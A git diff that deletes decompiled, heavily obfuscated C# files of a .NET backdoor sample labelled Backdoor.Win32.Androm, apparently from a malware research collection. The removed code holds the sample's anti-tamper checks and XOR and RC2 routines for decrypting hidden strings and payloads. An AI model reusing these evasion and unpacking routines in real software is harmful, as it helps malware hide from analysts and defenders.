QwS/cnfDk7FDBL9yd8OTsUMEv3J3w5OxQwS/cnfDk7FDBL9yd8OTsUMEv3JznH6MsmjAkGCw==
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002.cs
deleted file mode 100644
index e81b053d..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002.cs
+++ /dev/null
@@ -1,15 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using Microsoft.VisualBasic.ApplicationServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-
-[GeneratedCode("MyTemplate", "8.0.0.0")]
-[EditorBrowsable(EditorBrowsableState.Never)]
-internal sealed class \u0002 : ApplicationBase
-{
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002 .cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002 .cs
deleted file mode 100644
index 28d696cc..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002 .cs
+++ /dev/null
@@ -1,31 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-internal static class \u0002\u2000
-{
- public static byte[] \u0002(byte[] _param0, byte[] _param1)
- {
- byte num1 = _param0[1];
- int length = _param1.Length;
- byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
- uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
- ushort num4 = 0;
- for (int index = 0; index < length; ++index)
- {
- if ((index & 1) == 0)
- {
- num3 = (uint) ((int) num3 * 214013 + 2531011);
- num4 = (ushort) (num3 >> 16);
- }
- byte num5 = (byte) num4;
- num4 >>= 8;
- byte num6 = _param1[index];
- _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
- num2 = num6;
- }
- return _param1;
- }
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003.cs
deleted file mode 100644
index 27035561..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003.cs
+++ /dev/null
@@ -1,21 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using Microsoft.VisualBasic.Devices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-
-[GeneratedCode("MyTemplate", "8.0.0.0")]
-[EditorBrowsable(EditorBrowsableState.Never)]
-internal sealed class \u0003 : Computer
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public \u0003()
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003 .cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003 .cs
deleted file mode 100644
index 39983b00..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003 .cs
+++ /dev/null
@@ -1,200 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using System;
-using System.Collections.Generic;
-using System.Diagnostics;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Text;
-
-internal static class \u0003\u2000
-{
- private static \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004 \u0002 = new \u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004();
-
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static long \u0002()
- {
- if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
- return 0;
- lock (\u0003\u2000.\u0002)
- {
- long num1 = \u0003\u2000.\u0002.\u0002();
- if (num1 == 0L)
- {
- Assembly executingAssembly = Assembly.GetExecutingAssembly();
- List byteList = new List();
- AssemblyName assemblyName;
- try
- {
- assemblyName = executingAssembly.GetName();
- }
- catch
- {
- assemblyName = new AssemblyName(executingAssembly.FullName);
- }
- byte[] collection = assemblyName.GetPublicKeyToken();
- if (collection != null && collection.Length == 0)
- collection = (byte[]) null;
- if (collection != null)
- byteList.AddRange((IEnumerable) collection);
- byteList.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name));
- int num2 = \u0003\u2000.\u0002(typeof (\u0003\u2000));
- int num3 = \u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003.\u0002();
- byteList.Add((byte) (num2 >> 24));
- byteList.Add((byte) (num3 >> 16));
- byteList.Add((byte) (num2 >> 8));
- byteList.Add((byte) num3);
- byteList.Add((byte) (num2 >> 16));
- byteList.Add((byte) (num3 >> 8));
- byteList.Add((byte) num2);
- byteList.Add((byte) (num3 >> 24));
- int count = byteList.Count;
- ulong num4 = 0;
- for (int index = 0; index != count; ++index)
- {
- ulong num5 = num4 + (ulong) byteList[index];
- ulong num6 = num5 + (num5 << 20);
- num4 = num6 ^ num6 >> 12;
- byteList[index] = (byte) 0;
- }
- ulong num7 = num4 + (num4 << 6);
- ulong num8 = num7 ^ num7 >> 22;
- num1 = (long) (num8 + (num8 << 30)) ^ -7864757161471127688L;
- \u0003\u2000.\u0002.\u0002(num1);
- }
- return num1;
- }
- }
-
- [MethodImpl(MethodImplOptions.NoInlining)]
- private static bool \u0002() => \u0003\u2000.\u0003();
-
- [MethodImpl(MethodImplOptions.NoInlining)]
- private static bool \u0003()
- {
- StackFrame frame = new StackTrace().GetFrame(3);
- MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
- Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
- return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly;
- }
-
- private static int \u0002(Type _param0) => _param0.MetadataToken;
-
- private sealed class \u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008
- {
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004.\u0002(), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)));
- }
-
- private static class \u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003
- {
- internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~-540699733;
-
- internal static int \u0003(int _param0, int _param1) => _param0 - ~--~-~~-~-~1673170882 ^ _param1 + ~--~~-~-~-297411131;
-
- internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - ~--~~-~-~1323644435 ^ _param0 - _param1;
- }
-
- private sealed class \u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003
- {
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)))), \u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005.\u0002());
- }
-
- private sealed class \u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005
- {
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)) ^ -~~--~-~-~~1615442953, \u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008.\u0002())));
- }
-
- private sealed class \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004
- {
- private int \u0002;
- private int \u0003;
-
- internal \u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004() => this.\u0002(0L);
-
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal long \u0002()
- {
- if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
- return 2918384;
- int[] numArray = new int[4]
- {
- 0,
- 0,
- 0,
- ~--~~-~-~-2002714090
- };
- numArray[1] = -~-~-~~-~-1606733917;
- numArray[2] = ~-~--~~--~~-402418770;
- numArray[0] = ~-~--~~-~1686541314;
- int num1 = this.\u0002;
- int num2 = this.\u0003;
- int num3 = -~-~-~~-~1640531528;
- int num4 = ~--~~--~-~~957401312;
- for (int index = 0; index != 32; ++index)
- {
- num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3];
- num4 -= num3;
- num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3];
- }
- for (int index = 0; index != 4; ++index)
- numArray[index] = 0;
- return (long) ((ulong) num2 << 32 | (ulong) (uint) num1);
- }
-
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal void \u0002(long _param1)
- {
- if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2005\u2000\u2009\u2007\u2003\u2003\u2001\u2001\u2009\u2005\u2004).Assembly || !\u0003\u2000.\u0002())
- return;
- int[] numArray = new int[4]
- {
- 0,
- ~-~--~-~~-~-1606733920,
- 0,
- 0
- };
- numArray[0] = -~-~-~~-~1686541318;
- numArray[2] = -~-~-~~-~-~-402418768;
- numArray[3] = -~~-~--~~-~-2002714089;
- int num1 = -~~-~-~-~1640531524;
- int num2 = (int) _param1;
- int num3 = (int) (_param1 >> 32);
- int num4 = 0;
- for (int index = 0; index != 32; ++index)
- {
- num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3];
- num4 += num1;
- num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3];
- }
- for (int index = 0; index != 4; ++index)
- numArray[index] = 0;
- this.\u0002 = num2;
- this.\u0003 = num3;
- }
- }
-
- private sealed class \u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004
- {
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006.\u0002() ^ -~-~-~~-~-527758445, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004))), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), -~-~-~~-~-1144099094));
- }
-
- private sealed class \u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006
- {
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)) ^ \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)), \u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004.\u0002())));
- }
-
- private sealed class \u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004
- {
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static int \u0002() => \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2006\u2002\u2002\u2008\u2009\u2009\u2002\u2006\u2000\u2009\u2002\u2009\u2000\u2009\u2007\u2002\u2001\u2004\u2000\u2009\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2004\u2005\u2009\u2004\u2009\u2001\u2004\u2000\u2002\u2001\u2003\u2000\u2000\u2003)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005\u2009\u2002\u200A\u2002\u2003\u2009\u2004\u2004\u2003\u2001\u2002\u2000\u200A\u2007\u2005\u2008\u2006)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2008\u2005\u2004\u2001\u2006\u2002\u2001\u2004\u200A\u2000\u2008\u2004)), \u0003\u2000.\u0002\u2003\u2009\u2007\u2007\u2000\u2004\u2003\u2004\u2004\u2002\u2009\u2009\u2007\u2003\u2004\u2002\u2000\u2003\u2007\u2001\u2006\u2003\u2009\u2003\u2003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006\u2002\u2005\u200A\u2006\u2004\u2006\u2007\u2000\u2008\u2005\u2006\u2004\u2000\u2007\u200A\u2005\u2008\u2008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0003\u2004\u2007\u2004\u2001\u2002\u2007\u2006\u2004\u2004\u2002\u2005\u2001\u2001\u200A\u2004\u2005)))))));
- }
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0005.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0005.cs
deleted file mode 100644
index 71a88fd0..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0005.cs
+++ /dev/null
@@ -1,93 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.ApplicationServices;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-[HideModuleName]
-[GeneratedCode("MyTemplate", "8.0.0.0")]
-[StandardModule]
-internal sealed class \u0005
-{
- private static readonly \u0005.\u0003<\u0003> \u0002 = new \u0005.\u0003<\u0003>();
- private static readonly \u0005.\u0003<\u0002> \u0003 = new \u0005.\u0003<\u0002>();
- private static readonly \u0005.\u0003 \u0005 = new \u0005.\u0003();
- private static readonly \u0005.\u0003<\u0005.\u0002> \u0008 = new \u0005.\u0003<\u0005.\u0002>();
-
- [DebuggerHidden]
- internal static \u0003 \u0002() => \u0005.\u0002.\u0002();
-
- [DebuggerHidden]
- internal static \u0002 \u0002() => \u0005.\u0003.\u0002();
-
- [DebuggerHidden]
- internal static User \u0002() => \u0005.\u0005.\u0002();
-
- [DebuggerHidden]
- internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002();
-
- [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class \u0002
- {
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public \u0002()
- {
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1));
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public override int GetHashCode() => base.GetHashCode();
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- internal Type \u0002() => typeof (\u0005.\u0002);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public override string ToString() => base.ToString();
-
- [DebuggerHidden]
- private static T \u0002(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0;
-
- [DebuggerHidden]
- private void \u0003(ref T _param1) => _param1 = default (T);
- }
-
- [ComVisible(false)]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class \u0003<\u0002> where \u0002 : new()
- {
- [ThreadStatic]
- private static \u0002 \u0002;
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public \u0003()
- {
- }
-
- [DebuggerHidden]
- internal \u0002 \u0002()
- {
- if ((object) \u0005.\u0003<\u0002>.\u0002 == null)
- \u0005.\u0003<\u0002>.\u0002 = new \u0002();
- return \u0005.\u0003<\u0002>.\u0002;
- }
- }
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0006.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0006.cs
deleted file mode 100644
index 769c5045..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0006.cs
+++ /dev/null
@@ -1,58 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Security.Cryptography;
-using System.Text;
-
-[StandardModule]
-internal sealed class \u0006
-{
- public static string \u0002(string _param0, string _param1)
- {
- RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
- MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
- string str;
- try
- {
- byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
- cryptoServiceProvider1.Key = hash;
- cryptoServiceProvider1.Mode = CipherMode.ECB;
- ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
- byte[] inputBuffer = Convert.FromBase64String(_param0);
- str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return str;
- }
-
- public static byte[] \u0002(byte[] _param0, string _param1)
- {
- RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
- MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
- byte[] numArray;
- try
- {
- byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
- cryptoServiceProvider1.Key = hash;
- cryptoServiceProvider1.Mode = CipherMode.ECB;
- ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
- byte[] inputBuffer = _param0;
- numArray = decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return numArray;
- }
